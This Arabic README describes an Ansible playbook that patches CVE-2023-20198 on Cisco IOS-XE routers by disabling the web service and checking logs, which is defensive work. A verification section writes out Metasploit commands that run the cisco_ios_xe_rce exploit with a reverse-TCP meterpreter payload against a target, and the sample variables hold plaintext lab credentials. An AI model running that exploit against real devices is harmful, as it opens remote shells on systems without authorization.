CVE-2023-20198-Fix

يحتوي هذا المستودع على قائمة تشغيل Ansible لإصلاح ثغرة CVE-2023-20198 المكتشفة في بعض أجهزة Cisco.

وهو يقوم بما يلي:

1. يتحقق مما إذا كانت خدمة الويب تعمل على الموجّه عن طريق التحقق من الأوامر المرتبطة بها في running config
2. يعطّل خدمة الويب إذا كانت تعمل
3. يحفظ التهيئة إذا تم تغييرها
4. يفحص السجلات بحثًا عن علامات استغلال سابقة

هيكل الدليل:

CVE-2023-20198-Fix/
│
├── ansible.cfg            # Ansible configuration file
├── group_vars/            # Directory for variables specific to groups of hosts
│   └── iosxe_devices.yml  # Variable definitions for IOS-XE devices
├── inventory.yml          # Inventory of hosts, including devices to target
└── remediate.yml          # Playbook for remediating CVE-2023-20198

الشروع في العمل

المتطلبات الأساسية

تأكد من تثبيت Ansible على جهاز التحكم الخاص بك. تمت كتابة قائمة التشغيل هذه لـ Ansible 2.9 أو أحدث.

الإعداد

قم بتهيئة Ansible: قم بتعديل ansible.cfg ليطابق إعدادات بيئتك.

قائمة الأجهزة:

قم بتحديث inventory.yml ببيانات الأجهزة الخاصة بأجهزة IOS-XE لديك.

المتغيرات:

قم بتعريف أي متغيرات ضرورية في group_vars/iosxe_devices.yml. يجب أن يتضمن ذلك أي إعدادات مشتركة لأجهزة IOS-XE لديك، مثل إعدادات الاتصال وبيانات الاعتماد.

إضافة مضيفين إلى قائمة الأجهزة

لإضافة جهاز IOS-XE جديد إلى قائمة الأجهزة، قم بتعديل ملف inventory.yml وأضف المضيف الجديد ضمن المجموعة المناسبة:

iosxe_devices:
  hosts:
    vulnerable_router01:
      ansible_host: 192.168.1.3
      # ... other necessary variables

استبدل new_router01 باسم مضيف جهازك ومتغيرات ansible_* بالقيم الفعلية لجهازك.

تحديث متغيرات المجموعة

إذا كنت بحاجة إلى تحديث بيانات الاعتماد أو الإعدادات الأخرى لمجموعة أجهزة IOS-XE، فقم بتعديل ملف group_vars/iosxe_devices.yml:

---
ansible_network_os: ios
ansible_connection: network_cli
ansible_user: admin
ansible_password: admin_password            # Lab use only, store credentials responsibly!
ansible_become_method: enable
ansible_become_password: admin_password     # Lab use only, store credentials responsibly!
# ... other variables

تشغيل الـ Playbook

لتنفيذ الـ Playbook، استخدم الأمر التالي:

ansible-playbook remediate.yml -i inventory.yml

التحقق باستخدام Metasploit

أوامر MSF6

use exploit/linux/misc/cisco_ios_xe_rce
set RHOST 192.168.10.242     # Your target IP
set target 1
set payload cmd/unix/python/meterpreter/reverse_tcp
check
exploit

الفحص قبل الإصلاح

تنفيذ الـ Playbook

الفحص بعد الإصلاح

الاختبار

اختبر تغييراتك دائمًا في بيئة خاضعة للتحكم قبل تشغيل الـ Playbook في بيئة الإنتاج.

الأمان

قم بتخزين البيانات الحساسة مثل كلمات المرور والمفاتيح السرية باستخدام Ansible Vault. لا تقم بتخزين بيانات الاعتماد كنص صريح في ملفات inventory أو group_vars.

للحصول على إجراءات أمنية إضافية وأفضل الممارسات، راجع الوثائق الرسمية لـ Ansible.

يرجى استبدال جميع القيم النائبة ببيانات فعلية تتوافق مع بيئتك. يفترض هذا README معرفة أساسية بمفاهيم Ansible مثل قائمة الأجهزة (inventory) والمتغيرات وتشغيل قوائم التشغيل.